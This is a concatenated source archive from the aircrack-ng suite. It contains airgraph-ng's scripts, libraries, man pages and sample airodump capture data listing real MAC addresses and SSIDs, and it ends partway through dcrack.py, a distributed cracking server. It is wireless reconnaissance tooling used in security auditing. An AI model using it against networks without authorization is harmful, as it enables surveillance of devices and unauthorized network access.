2008-11-02 22:42:47, 2008-11-05 01:43:41, 20, 3573, 00:12:17:3A:B9:78, HOMENET 00:0E:35:75:5B:E6, 2008-11-03 13:57:12, 2008-11-05 01:42:51, 20, 786, 00:17:9A:48:1B:17, Fenerbahce 00:19:D2:3A:2F:31, 2008-11-03 00:47:43, 2008-11-05 01:43:13, 21, 4931, 00:13:10:E3:26:2F, Oasis,linksys 00:1B:77:66:74:E6, 2008-11-03 00:39:01, 2008-11-05 01:43:13, 27, 2285, 00:1D:7E:EF:4E:6F, gwireless,Molly 00:16:44:CE:71:2D, 2008-11-02 22:39:42, 2008-11-05 01:43:31, 27, 2663, 00:0F:66:6A:3A:C0, godfather 00:18:DE:96:36:C8, 2008-11-03 03:16:58, 2008-11-05 01:43:21, 32, 55823, 00:18:F8:1A:DA:A5, Intel 802.11 Default SSID,Saloka,TehTubez 00:1F:3B:5C:D4:79, 2008-11-02 22:39:17, 2008-11-05 01:42:59, 40, 1996, 00:18:F8:1A:DA:A5, Saloka aircrack-ng-1.2-beta3/scripts/airgraph-ng/README0000644000000000000000000000320111722541525017775 0ustar rootrootAirgraph-ng ------------- Airgraph-ng's purpose is to graph the txt file that is created when you run airodump with the -w option The idea is that we are showing the relationships of the clients to the AP's so dont be shocked if you see only one mapping as you may only have captured one client. Instalation ------------- Airgraph-ng depends are as follows: * graphviz with png support * airodump-ng * python > 2.7 !!! Please note due to a lack of PNG support in Graphviz under BackTrack 3 Airgraph-ng is not currently supported here. I am aware of the issue i just havent had time to fix it!!!!!! The program usage is as follows airgraph-ng -i [your txt file] -o [the output file in png format] -g [CAPR|CPG] I am happy to indroduce an option for graph types, there are two current graph types: CAPR or Client to AP Relationship This shows you all the clients attached to a particular AP CPR or Client Prob Graph This showes you all the clients that are sending out probe requests for the same ESSID's ;-) Fake AP any one? Once you have airgraph-ng set up and installed i have included some test data to allow you to quickly see if airgraph-ng is working. This data can be found in the test directory inside the libs directory Airgraph-ng sets graphviz to use the latin character set if this is a problem for you please let me know. I did this to clear up a bug i had with the CPG graphs dumpjoin is a short support script that will allow you to join two airodump CSV files into one. Run the program with no arugments to see the usage This is still a work in progress if you have questions contact TheX1le at thex1le gmail.com aircrack-ng-1.2-beta3/scripts/airgraph-ng/airgraph-ng0000644000000000000000000002167711721271447021262 0ustar rootroot#!/usr/bin/env python #python 3.0 support from __future__ import print_function __author__ = 'Ben "TheX1le" Smith' __email__ = 'thex1le _A_T_ remote-exploit.org' __website__= 'remote-exploit.org' __date__ = '05/18/2011' __version__= '2.0.1' __file__ = 'airgraph-ng' __data__ = 'This is the main airgraph-ng file' import subprocess import sys, optparse, os import pdb try: from graphviz import * except ImportError, error: raise Exception("Your airgraph-ng installation is broken, could not import libraries: %s" %(error)) path = libOuiParse.path class interface: """ provide basic UI to user """ def header(self): """ Print a pretty header out """ print('#'*42+"\n#"+" "*9+"Welcome to Airgraph-ng"+" "*9+"#\n"+"#"*42+"\n") class dotCreate: """ Class for creating graphviz .dot config files """ def __init__(self, file_): ret = libDumpParse.airDumpParse().parser(file_) self.capr = ret['capr'] self.Ap = ret['apDict'] self.client = ret['clientDict'] self.NA = ret['NA'] self.NAP = ret['NAP'] #144x144 hard code image size to 12feet x 12feet #start graphviz config file self.dotFile = ['digraph G{\n\tsize ="144,144";\n\toverlap=false;\n'] self.ouiCheck = libOuiParse.macOUI_lookup(path + 'oui.txt') if self.ouiCheck is False: print("Missing the oui.txt file from http://standards.ieee.org/develop/regauth/oui/oui.txt, place it in the support directory") sys.exit(-1) self.ouiCheck.identDeviceDict(path + 'ouiDevice.txt') def CAPR(self): """ Client AP relationship graph Display a graph showing what clients are talking to what AP's """ tclient = 0 #total client number tap = len(self.capr.keys()) #total ap list for bssid in self.capr.keys(): time = [self.Ap[bssid]['lts'],self.Ap[bssid]['fts']] priv = self.Ap[bssid]['privacy'] if priv == '': priv = "Unkown" Color = self.encColor(priv) tclient += len(self.capr[bssid]) for client in self.capr[bssid]: self.dotFile.append(self.linker(bssid,'->',client)) self.dotFile.append(self.clientColor(client,'black',[self.client[client]['lts'],self.client[client]['fts']],None,True)) self.dotFile.append( self.apLabel(bssid,Color,len(self.capr[bssid]),time)) footer ='label="Generated by Airgraph-ng\\n%s Access Points and\\n%s Clients shown";\n}' %(tap,tclient) self.dotFile.append(footer) def CPG(self): """ Common Probe Graph Shows a graph of every client requesting similar probes """ probeCount = 0 clientCount = {} for key in self.client.keys(): sdata = self.client[key] lts = sdata['lts'] fts = sdata['fts'] if sdata["probe"] != ['']: lpc = len(sdata['probe']) clientCount[key] = key probeCount += lpc for probe in sdata['probe']: self.dotFile.append(self.clientColor(probe,'blue')) self.dotFile.append(self.linker(key,'->',probe)) clientColor = '%s\\nRequested %s probes' %(key,lpc) self.dotFile.append(self.clientColor(key,'black',[lts,fts],None,True)) footer = 'label="Generated by Airgraph-ng\\n%s Probes and \\n%s Clients are shown";\n}' % (probeCount,len(clientCount.keys())) self.dotFile.append(footer) def clientColor(self,mac,color,time=None,label=None,DouiCheck=False): """ format the client with a color and a label return graphiz format line """ if label == None: label = mac #device OUI check if DouiCheck == True: lts = time[0] fts = time[1] rtn = '\t"%s" [label="%s\\nOUI: %s\\nDevice Type: %s\\nFirst Time Seen: %s\\nLast Time Seen: %s" color=%s fontsize=9];\n' %(mac,mac,self.APouiLookup(mac),self.clientOuiLookup(mac),fts,lts,color) else: rtn = '\t"%s" [label="%s" color=%s fontsize=9];\n' %(mac,label,color) return rtn def encColor(self,enc): """ Take encryption type and decide what color it should be displayed as returns a list containing AP fill color and Ap label font color """ fontColor = "black" #default font color if enc =="OPN": color = "firebrick2" elif enc == "WEP": color = "gold2" elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]: color = "green3" else: #unknown enc type color = "black" fontColor = "white" return (color,fontColor) def linker(self,objA,sep,objB): """ Retrun a graphviz line that links 2 objects togeather Both objects are passed in with a separator returns graphiz format line """ return '\t"%s"%s"%s";\n' %(objA,sep,objB) def dotWrite(self): """ Write all the information obtained to a config file """ dotdata = ''.join(self.dotFile) try: os.remove('airGconfig.dot') except Exception: pass nfile = open('airGconfig.dot','a') nfile.write(dotdata) nfile.close() def clientOuiLookup(self,oui): """ check ouiDevices and attempt to determine the device type """ prefix = oui[:8] if prefix in self.ouiCheck.ouitodevice: device = self.ouiCheck.ouitodevice[prefix] else: device = 'Unknown' return device def APouiLookup(self,oui): """ check the oui.txt file and determine the manufacture for an AP or client """ prefix = oui[:8] company = self.ouiCheck.lookup_OUI(prefix) if company == False: company = 'Unknown' return company def apLabel(self,bssid,color,cnum,time): """ Create label strings for AP's """ lts = time[0] fts = time[1] AP = self.Ap[bssid] return'\t"%s" [label="%s\\nEssid: %s\\nChannel: %s\\nEncryption: %s\\nOUI: %s\\nFirst Time Seen: %s\\n Last Time Seen: %s\\nNumber of Clients: %s" style=filled fillcolor="%s" fontcolor="%s" fontsize=9];\n' %(bssid,bssid,AP['essid'].rstrip('\x00'),AP['channel'],AP['privacy'],self.APouiLookup(bssid),fts,lts,cnum,color[0],color[1]) def graphCreate(self,fname,outname): """ Write out the graphviz dotFile and creat the graph """ print("\n**** WARNING Images can be large, up to 12 Feet by 12 Feet****") print("Creating your Graph using, %s and writing to, %s" %(fname,outname)) print("Depending on your system this can take a bit. Please standby......") try: subprocess.Popen(["fdp","-Tpng","airGconfig.dot","-o",outname,"-Gcharset=latin1"]).wait() except Exception: os.remove("airGconfig.dot") print("You seem to be missing the Graphviz toolset. Did you check out the airgraph-ng Deps in the readme?") sys.exit(1) os.remove("airGconfig.dot") #comment this line out for dotfile debugging if __name__ == "__main__": """ Main function. Parses command line input for proper switches and arguments. Error checking is done in here. Variables are defined and all calls are made from MAIN. """ parser = optparse.OptionParser("usage: %prog options [-o -i -g ] ") # parser.add_option("-o", "--output", dest="output", nargs=1, help="Our Output Image ie... Image.png") parser.add_option("-i", "--dump", dest="input", nargs=1 ,help="Airodump txt file in CSV format NOT the pcap") parser.add_option("-g", "--graph", dest="graph_type", nargs=1, help="Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]") if len(sys.argv) <= 1: interface().header() parser.print_help() sys.exit(0) (options, args) = parser.parse_args() outFile = options.output graphType = options.graph_type inFile = options.input if inFile == None: print("Error No Input File Specified") sys.exit(1) if outFile == None: outFile = options.input.replace('.txt', '.png') if graphType.upper() not in ['CAPR','CPG','ZKS']: print("Error Invalid Graph Type\nVaild types are CAPR or CPG") sys.exit(1) if graphType == None: print("Error No Graph Type Defined") sys.exit(1) dot = dotCreate(inFile) if graphType.upper() == 'CPG': dot.CPG() dot.dotWrite() dot.graphCreate(inFile,outFile) elif graphType.upper() == 'CAPR': dot.CAPR() dot.dotWrite() dot.graphCreate(inFile,outFile) aircrack-ng-1.2-beta3/scripts/airgraph-ng/dump-join0000644000000000000000000000672311412717420020751 0ustar rootroot #!/usr/bin/python # this script is a total hack it works and ill clean it up later import sys,getopt, optparse, pdb, re def raw_lines(file): try: raw_lines = open(file, "r") except Exception: print "Failed to open ",file,". Do you have the file name correct?" sys.exit(1) Rlines = raw_lines.readlines() return Rlines def parse_file(file,file_name): cleanup = [] for line in file: # match=re.search("\n", line) # the next few lines are notes and can be ignored # if match: # line=line.replace("\n","") #for x in line: # clean = filter(lambda y: y != '\n', x) clean = line.rstrip() cleanup.append(clean) try: header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') del cleanup[header] except Exception: print "You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap" sys.exit(1) Clients = cleanup[stationStart:] #splits off the clients into their own list stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List del cleanup[stationStart:]#removed all of the client info leaving only the info on available target AP's in ardump maby i should create a new list for APs? lines = [cleanup,Clients] return lines def join_write(data,name): file = open(name,'a') for line in data[0]: line=line.rstrip() if len(line)>1: file.write(line+'\n') for line in data [1]: if len(line)>1: file.write(line+'\n') file.close() def showBanner(): print "Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files [ foo_name_1 foo_name_2 foo_name_3 .....] \n\t-o\tOutput File\n" def file_pool(files): AP = [] Clients = [] for file in files: ret = raw_lines(file) ret = parse_file(ret,file) AP.extend(ret[1]) Clients.extend(ret[0]) lines = [AP,Clients] output = sort_file(lines) return output def sort_file(input): AP = ['BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key'] Clients = ['\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs'] Clients.extend(input[0]) AP.extend(input[1]) output = [AP,Clients] return output if __name__ == "__main__": if len(sys.argv) <= 1: showBanner() sys.exit(1) parser = optparse.OptionParser("usage: %prog [options] arg1 arg2 arg3 .....") parser.add_option("-o", "--output", dest="output",nargs=1, help="output file to write to") parser.add_option("-i", "--file", dest="filename", nargs=2 ,help="Input files to read data from requires at least two arguments") (options, args) = parser.parse_args() filenames = options.filename outfile = options.output if outfile == None: print "You must provide a file name to write out to. IE... -o foo.csv\n" showBanner() sys.exit(1) elif filenames == None: print "You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n" showBanner() sys.exit(1) for file_name in args: filenames += (file_name,) return_var = file_pool(filenames) return_var = join_write(return_var,outfile) aircrack-ng-1.2-beta3/scripts/airgraph-ng/Makefile0000644000000000000000000000077611721271447020575 0ustar rootrootAC_ROOT = ../.. DOCFILES = README include $(AC_ROOT)/common.mak default: all all: @echo Nothing to do. Run make install install: doc python setup.py install --prefix="$(prefix)" --record files.txt doc: $(MAKE) -C man install install -d $(prefix)$(docdir) install -d $(prefix)/share/airgraph-ng install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) uninstall: clean $(MAKE) -C man $(@) cat files.txt | xargs rm -rf rm -f files.txt clean: python setup.py clean rm -rf build distclean: clean aircrack-ng-1.2-beta3/scripts/airgraph-ng/lib/0000755000000000000000000000000012316431261017662 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airgraph-ng/lib/Makefile0000644000000000000000000000046311523652661021335 0ustar rootrootAC_ROOT = ../../.. include $(AC_ROOT)/common.mak LIB_FILES = lib_Airgraphviz.py ag_lib = $(DESTDIR)$(bindir)/lib default: all all: @echo Nothing to do. Run make install install: uninstall install -d $(ag_lib) install -m 644 $(LIB_FILES) $(ag_lib) uninstall: -rm -f $(ag_lib)/lib_Airgraphviz.pyaircrack-ng-1.2-beta3/scripts/airgraph-ng/setup.py0000644000000000000000000000101611717022373020630 0ustar rootroot#!/usr/bin/env python # This file is Copyright David Francos Cuartero, licensed under the GPL2 license. from distutils.core import setup import os setup(name='airgraph-ng', version='1.1', description='Aircrack-ng network grapher', author='TheX1le', console = [{"script": "airgraph-ng" }], url='http://aircrack-ng.org', license='GPL2', classifiers=[ 'Development Status :: 4 - Beta', ], packages=['graphviz'], scripts=['dump-join', 'airgraph-ng'], ) aircrack-ng-1.2-beta3/scripts/airgraph-ng/graphviz/0000755000000000000000000000000012316431261020746 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airgraph-ng/graphviz/lib_Airgraphviz.py0000644000000000000000000001125611721271447024450 0ustar rootroot__author__ = 'Ben "TheX1le" Smith' __email__ = 'thex1le@gmail.com' __website__= 'http://trac.aircrack-ng.org/browser/trunk/scripts/airgraph-ng/' __date__ = '03/02/09' __version__ = '' __file__ = 'lib_Airgraphviz.py' __data__ = 'This library supports airgraph-ng' """ ######################################## # # Airgraph-ng.py --- Generate Graphs from airodump CSV Files # # Copyright (C) 2009 Ben Smith # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ """ Airgraph-ng Support Library """ def apColor(Label,APcolorList): #OLDNAME AP_Label_Color """ Inputs a list containing AP information and the AP color information Returns a graph object that holds AP information (colors and details) TODO: Get sample data for each line? """ APcolor = APcolorList[0] fontColor = APcolorList[1] graph = ['\t','"',Label[0],'"', '[label="',Label[0], '\\nEssid: ',Label[1].rstrip('\x00'), #NULL ESSID is equal to binary space, must remove '\\nChannel: ',Label[2], '\\nEncryption: ',Label[3], '\\nNumber of Clients: ','%s' %(Label[4]), #Check to see if this method is actually needed '"',' style=filled', ' fillcolor="',APcolor, '"',' fontcolor="',fontColor, '"',' fontsize=7','];\n'] return graph def clientColor(mac,color,label=""): #OLDNAME Client_Label_Color """ Creates a label for the client information passed in (mac, color) Returns a graph object TODO: Pass a label in that may hold additional client data that could in turn be written on the client. """ if label == "": label = mac graph = ['\t','"',mac,'"',' [label="',label,'"',' color="',color,'"',' fontsize=7','];\n'] return graph def encryptionColor(enc): #OLDNAME Return_Enc_type """ Take in the encryption used by the AP and return the proper color scheme based on that value. Returns a list containing the AP fill color and AP font color """ fontColor = "black" #Default Font Color to be used if enc == "OPN": color = "firebrick2" elif enc == "WEP": color = "gold2" elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]: color = "green3" else: #No AP should ever get to this point as they will either be encrypted or open color = "black" fontColor = "white" APcolorList = (color,fontColor) #OLDNAME colorLS return APcolorList def graphvizLinker(objA,sep,objB): #OLDNAME graphviz_link """ Return a graph object that links 2 objects together. Both objects are passed in with a separator """ graph =['\t','"',objA,'"',sep,'"',objB,'"',';\n'] return graph def dotClose(input,footer): #OLDNAME dot_close """ Close the graphiz config file Return final output to be written """ input.extend(footer) input.append("}") output = ''.join(input) return output def dotWrite(data): #OLDNAME dot_write """ Write all the information obtained to a configuration file """ try: subprocess.Popen(["rm","-rf","airGconfig.dot"]) #Delete the file if it already exists except Exception: pass file = open('airGconfig.dot','a') file.writelines(data) file.close() def subGraph(items,graphName,graphType,tracked,parse): #OLDNAME subgraph """ Create a subgraph based on the incoming values TODO: Figure out what this does and clean it up """ subgraph = ['\tsubgraph cluster_',graphType,'{\n\tlabel="',graphName,'" ;\n'] if parse == "y": for line in items: clientMAC = line[0] probe_req = ', '.join(line[6:]) for bssid in tracked: if clientMAC not in tracked[bssid]:#check to make sure were not creating a node for a client that has an association allready subgraph.extend(['\tnode [label="',clientMAC,' \\nProbe Requests: ',probe_req,'" ] "',clientMAC,'";\n']) subgraph.extend(['\t}\n']) elif parse == "n": subgraph.extend(items) subgraph.extend(['\t}\n']) return subgraph ############################################### # Filter Class # ############################################### #def filter_enc(input,enc): # AP = info[1] # for key in AP: # bssid = AP[key] # if bssid[5] != enc: # del AP[bssid] # return_list = [info[0],AP] # return return_list #encryption type #number of clients #OUI #channel #beacon rate? #essid #speed #time #probe requests #whore mode... search for ANY one wanting to connect aircrack-ng-1.2-beta3/scripts/airgraph-ng/graphviz/libOuiParse.py0000755000000000000000000001661211721271447023556 0ustar rootroot#!/usr/bin/env python __author__ = 'Ben "TheX1le" Smith, Marfi' __email__ = 'thex1le@gmail.com' __website__= '' __date__ = '04/26/2011' __version__ = '2011.4.26' __file__ = 'ouiParse.py' __data__ = 'a class for dealing with the oui txt file' """ ######################################## # # This program and its support programs are free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ import re, urllib, sys, os import pdb #this lib is crap and needs to be rewritten -Textile if os.path.isdir('./support/'): path='./support/' elif os.path.isdir('/usr/local/share/airgraph-ng/'): path='/usr/local/share/airgraph-ng/' elif os.path.isdir('/usr/share/airgraph-ng/'): path='/usr/share/airgraph-ng/' else: raise Exception("Could not determine path, please, check your installation") class macOUI_lookup: """ A class for deaing with OUIs and deterimining device type """ def __init__(self, oui=False): """ generate the two dictionaries and return them """ #a poor fix where if we have no file it trys to download it self.ouiTxtUrl = "http://standards.ieee.org/regauth/oui/oui.txt" self.ouiTxt = oui if not oui or not os.path.isfile(self.ouiTxt): self.ouiUpdate() self.ouiTxt = path + "oui.txt" self.last_error = None self.identDeviceDict(path + 'ouiDevice.txt') self.identDeviceDictWhacMac(path + 'whatcDB.csv') self.ouiRaw = self.ouiOpen(self.ouiTxt) self.oui_company = self.ouiParse() #dict where oui's are the keys to company names self.company_oui = self.companyParse() #dict where company name is the key to oui's def compKeyChk(self,name): """ check for valid company name key """ compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): return True for key in self.company_oui.keys(): if compMatch.search(key) is not None: return True return False def ouiKeyChk(self,name): """ check for a valid oui prefix """ if self.oui_company.has_key(name): return True else: return False def lookup_OUI(self,mac): """ Lookup a oui and return the company name """ if self.ouiKeyChk(mac) is not False: return self.oui_company[mac] else: return False def lookup_company(self,companyLst): """ look up a company name and return their OUI's """ oui = [] if type(companyLst).__name__ == "list": for name in companyLst: compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): oui.extend(self.company_oui[name]) else: for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) elif type(companyLst).__name__ == "str": if self.company_oui.has_key(companyLst): oui = self.company_oui[companyLst] else: compMatch = re.compile(companyLst,re.I) for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) #return the oui for that key return oui def ouiOpen(self,fname,flag='R'): """ open the file and read it in flag denotes use of read or readlines """ try: ouiFile = open(fname, "r") if flag == 'RL': text = ouiFile.readlines() elif flag == 'R': text = ouiFile.read() return text except IOError: return False def ouiParse(self): """ generate a oui to company lookup dict """ HexOui= {} Hex = re.compile('.*(hex).*') #matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION" ouiLines = self.ouiRaw.split("\n\n") #split each company into a list one company per position for line in ouiLines: if Hex.search(line) != None: lineList = Hex.search(line).group().replace("\t"," ").split(" ") #return the matched text and build a list out of it HexOui[lineList[0].replace("-",":")] = lineList[2] #build a dict in the format of mac:company name return HexOui def companyParse(self): """ generate a company to oui lookup dict """ company_oui = {} for oui in self.oui_company: if company_oui.has_key(self.oui_company[oui][0]): company_oui[self.oui_company[oui][0]].append(oui) else: company_oui[self.oui_company[oui][0]] = [oui] return company_oui def ouiUpdate(self): """ Grab the oui txt file off the ieee.org website """ try: print("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path)) urllib.urlretrieve(self.ouiTxtUrl, path + "oui.txt") print "Completed Successfully" except Exception, error: print("Could not download file:\n %s\n Exiting airgraph-ng" %(error)) sys.exit(0) def identDeviceDict(self,fname): """ Create two dicts allowing device type lookup one for oui to device and one from device to OUI group """ self.ouitodevice = {} self.devicetooui = {} data = self.ouiOpen(fname,'RL') if data == False: self.last_error = "Unable to open lookup file for parsing" return False for line in data: dat = line.strip().split(',') self.ouitodevice[dat[1]] = dat[0] if dat[0] in self.devicetooui.keys(): self.devicetooui[dat[0]].append(dat[1]) else: self.devicetooui[dat[0]] = [dat[1]] def identDeviceDictWhacMac(self,fname): """ Create two dicts allowing device type lookup from whatmac DB one for oui to device and one from the device to OUI group """ self.ouitodeviceWhatmac3 = {} self.ouitodeviceWhatmac = {} self.devicetoouiWhacmac = {} data = self.ouiOpen(fname,'RL') if data == False: self.last_error = "Unble to open lookup file for parsing" return False for line in data: dat = line.strip().split(',') dat[0] = dat[0].upper() self.ouitodeviceWhatmac[dat[0]] = dat[1] self.ouitodeviceWhatmac3[dat[0][0:8]] = dat[1] # a db to support the 3byte lookup from whatmac if dat[1] in self.devicetoouiWhacmac.keys(): self.devicetoouiWhacmac[dat[1]].append(dat[0]) else: self.devicetoouiWhacmac[dat[1]] = [dat[0]] aircrack-ng-1.2-beta3/scripts/airgraph-ng/graphviz/__init__.py0000644000000000000000000000005011721271447023061 0ustar rootroot__all__=['libDumpParse', 'libOuiParse'] aircrack-ng-1.2-beta3/scripts/airgraph-ng/graphviz/libDumpParse.py0000644000000000000000000001534411721271447023725 0ustar rootroot#!/usr/bin/python #airodump parsing lib #returns in an array of client and Ap information #part of the airdrop-ng project from sys import exit as Exit class airDumpParse: def parser(self,file): """ One Function to call to parse a file and return the information """ self.capr = None self.NAP = None self.NA = None self.apDict = None self.clientDict = None fileOpenResults = self.airDumpOpen(file) self.airDumpParse(fileOpenResults) self.clientApChannelRelationship() return {'NA':self.NA,'capr':self.capr,'apDict':self.apDict, 'clientDict':self.clientDict,'NAP':self.NAP} def airDumpOpen(self,file): """ Takes one argument (the input file) and opens it for reading Returns a list full of data """ try: openedFile = open(file, "r") except IOError: print "Error Airodump File",file,"does not exist" Exit(1) data = openedFile.xreadlines() cleanedData = [] for line in data: cleanedData.append(line.rstrip()) openedFile.close() return cleanedData def airDumpParse(self,cleanedDump): """ Function takes parsed dump file list and does some more cleaning. Returns a list of 2 dictionaries (Clients and APs) """ try: #some very basic error handeling to make sure they are loading up the correct file try: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID') except Exception: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') del cleanedDump[apStart] #remove the first line of text with the headings try: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') except Exception: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID') except Exception: print "You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap" Exit(1) del cleanedDump[stationStart] #Remove the heading line clientList = cleanedDump[stationStart:] #Splits all client data into its own list del cleanedDump[stationStart:] #The remaining list is all of the AP information self.apDict = self.apTag(cleanedDump) self.clientDict = self.clientTag(clientList) return def apTag(self,devices): """ Create a ap dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: ap = {} string_list = entry.split(',') #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later len(string_list) if len(string_list) == 15: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "cipher":string_list[6], "auth":string_list[7], "power":string_list[8], "beacons":string_list[9], "iv":string_list[10], "ip":string_list[11], "id":string_list[12], "essid":string_list[13][1:], "key":string_list[14]} elif len(string_list) == 11: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "power":string_list[6], "beacons":string_list[7], "data":string_list[8], "ip":string_list[9], "essid":string_list[10][1:]} if len(ap) != 0: dict[string_list[0]] = ap return dict def clientTag(self,devices): """ Create a client dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: client = {} string_list = entry.split(',') if len(string_list) >= 7: client = {"station":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "power":string_list[3], "packets":string_list[4], "bssid":string_list[5].replace(' ',''), "probe":string_list[6:][0:]} if len(client) != 0: dict[string_list[0]] = client return dict def clientApChannelRelationship(self): """ parse the dic for the relationships of client to ap in the process also populate list of """ clients = self.clientDict AP = self.apDict NA = [] #create a var to keep the not associdated clients mac's NAP = [] #create a var to keep track of associated clients mac's to AP's we cant see apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids apClient = {} #dict that stores bssid and clients as a nested list for key in (clients): mac = clients[key] #mac is the MAC address of the client if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on if apClient.has_key(mac["bssid"]): apClient[mac["bssid"]].extend([key]) #if key exists append new client else: apClient[mac["bssid"]] = [key] #create new key and append the client else: NAP.append(key) # stores the clients that are talking to an access point we cant see else: NA.append(key) #stores the lines of the not assocated AP's in a list self.NAP = NAP self.NA = NA self.capr = apClient return aircrack-ng-1.2-beta3/scripts/airgraph-ng/support/0000755000000000000000000000000012316431261020630 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airgraph-ng/man/0000755000000000000000000000000012316431261017667 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airgraph-ng/man/dump-join.10000644000000000000000000000074111142353535021660 0ustar rootroot.TH Dump-join .SH NAME dump-join - a support tool for airgraph-ng that allows you to join the airodump output files. .SH SYNOPSIS dump-join.py -i foo_name_1 foo_name_2 foo_name_3 .... -o output-file.txt .SH DESCRIPTION A simple support tool that allows joining of airodump files into one larger file. It supports an unlimited amount of input files to a single output file. .SH OPTIONS .IP -i Input Files [ foo_name_1 foo_name_2 foo_name_3 ..] .IP -o Output File aircrack-ng-1.2-beta3/scripts/airgraph-ng/man/airgraph-ng.10000644000000000000000000000142611371612422022153 0ustar rootroot.TH airgraph-ng 1 "May 2010" Linux "User Manual" .SH NAME airgraph-ng - a 802.11 visualization utility .SH SYNOPSIS .B airgraph-ng [options] .SH DESCRIPITION .BI airgraph-ng graphs the CSV file generated by Airodump-ng. The idea is that we are showing the relationships of the clients to the AP's so dont be shocked if you see only one mapping as you may only have captured one client .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -i Airodump-ng CSV file .TP .I -o Output png file. .TP .I -g Choose the Graph Type. Current types are [CAPR (Client to AP Relationship) & CPG (Common probe graph)]. .TP .I -a Print the about. .SH EXAMPLES .B airgraph-ng -i dump-01.csv -o dump.png -g CAPR .PP .B airgraph-ng -i dump-01.csv -o dump.png -g CPG .SH SEE ALSO .br .B airodump-ng(1)aircrack-ng-1.2-beta3/scripts/airgraph-ng/man/Makefile0000644000000000000000000000060011421630304021316 0ustar rootrootAC_ROOT = ../../.. include $(AC_ROOT)/common.mak MP_FILES = airgraph-ng.1 dump-join.1 default: all all: @echo Nothing to do. Run make install install: uninstall install -d $(DESTDIR)$(mandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) uninstall: @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) aircrack-ng-1.2-beta3/scripts/dcrack.py0000644000000000000000000004260312140324531016517 0ustar rootroot#!/usr/bin/python import sys import os import subprocess import random import time import sqlite3 import threading import hashlib import gzip import json import datetime import re if sys.version_info[0] >= 3: from socketserver import ThreadingTCPServer from urllib.request import urlopen, URLError from urllib.parse import urlparse, parse_qs from http.client import HTTPConnection from http.server import SimpleHTTPRequestHandler else: from SocketServer import ThreadingTCPServer from urllib2 import urlopen, URLError from urlparse import urlparse, parse_qs from httplib import HTTPConnection from SimpleHTTPServer import SimpleHTTPRequestHandler bytes = lambda a, b : a port = 1337 url = None cid = None tls = threading.local() nets = {} cracker = None class ServerHandler(SimpleHTTPRequestHandler): def do_GET(s): result = s.do_req(s.path) if not result: return s.send_response(200) s.send_header("Content-type", "text/plain") s.end_headers() s.wfile.write(bytes(result, "UTF-8")) def do_POST(s): if ("dict" in s.path): s.do_upload_dict() if ("cap" in s.path): s.do_upload_cap() s.send_response(200) s.send_header("Content-type", "text/plain") s.end_headers() s.wfile.write(bytes("OK", "UTF-8")) def do_upload_dict(s): con = get_con() f = "dcrack-dict" c = f + ".gz" o = open(c, "wb") cl = int(s.headers['Content-Length']) o.write(s.rfile.read(cl)) o.close() decompress(f) sha1 = hashlib.sha1() x = open(f, "rb") sha1.update(x.read()) x.close() h = sha1.hexdigest() x = open(f, "rb") for i, l in enumerate(x): pass i = i + 1 x.close() n = 